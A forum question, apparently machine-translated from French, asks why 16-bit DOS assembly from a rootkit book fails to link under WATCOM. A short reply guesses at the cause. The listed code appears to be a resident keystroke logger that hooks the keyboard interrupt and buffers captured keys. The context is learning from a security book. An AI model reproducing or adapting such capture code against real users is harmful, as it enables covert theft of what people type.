Je suis en train de compiler un extrait de code assembleur 16 bits de l'arsenal de rootkit livre IDE WATCOM ouvert. Il donne l'erreur "plusieurs adresses de départ trouvées". Ayant une connaissance très limitée de l'assemblage, je n'ai pas été capable de le résoudre. Voici le code:code assembleur Compiler 16 bits avec erreur WATCOM ouverte (plusieurs adresses de départ trouvées)
CSEG SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
ORG 100H
_here:
JMP _main
JMP _overData
_buffer DB 512 DUP('W')
_terminator DB 'Z'
_index DW 0H
_oldISR DD 0H
_chkISR DD 0h
_overData:
_getBufferAddr:
STI
MOV DX, CS
LEA DI,_buffer
IRET
_hookBIOS:
PUSH AX
PUSH BX
PUSHF
CALL CS:_oldISR
MOV AH, 01H
PUSHF
CALL CS:_chkISR
CLI
PUSH DS
PUSH CS
POP DS
jz _hb_Exit
LEA BX,_buffer
PUSH SI
MOV SI,WORD PTR[_index]
MOV DS:[BX+SI],AL
INC SI
MOV WORD PTR[_index], SI
POP SI
_hb_Exit:
POP DS
POP AX
POP BX
STI
IRET
_install:
LEA DX,_getBufferAddr
MOV CX,CS
MOV DS,CX
MOV AH,25H
MOV AL,187
INT 21H
MOV AH,35H
MOV AL,9H
INT 21H
MOV WORD PTR _oldISR[0],BX
MOV WORD PTR _oldISR[2],ES
MOV AH, 35H
MOV AL,16H
INT 21H
MOV WORD PTR _chkISR[0],BX
MOV WORD PTR _chkISR[2],ES
MOV AH,25H
MOV AL,9H
MOV CX,CS
MOV DS,CX
LEA DX,_hookBIOS
INT 21H
RET
PUBLIC _main
_main:
PUSH BP
MOV BP,SP
MOV AX,CS
MOV SS,AX
LEA AX,_localStk
ADD AX,100H
CALL NEAR PTR _install
MOV AH, 31H
MOV AL,0
MOV DX, 200H
INT 21H
POP BP
RET
PUBLIC _localStk
_localStk DB 256 DUP(?)
CSEG ENDS
END _here
Veuillez, aidez-moi.
Seule une supposition, mais peut-être quand l'éditeur de liens voit public ' _main', il lie dans la bibliothèque standard, qui a son propre point d'entrée? Je ne vois aucune raison de faire '_main' (ou d'utiliser ce nom à tous, pour être honnête) ici. –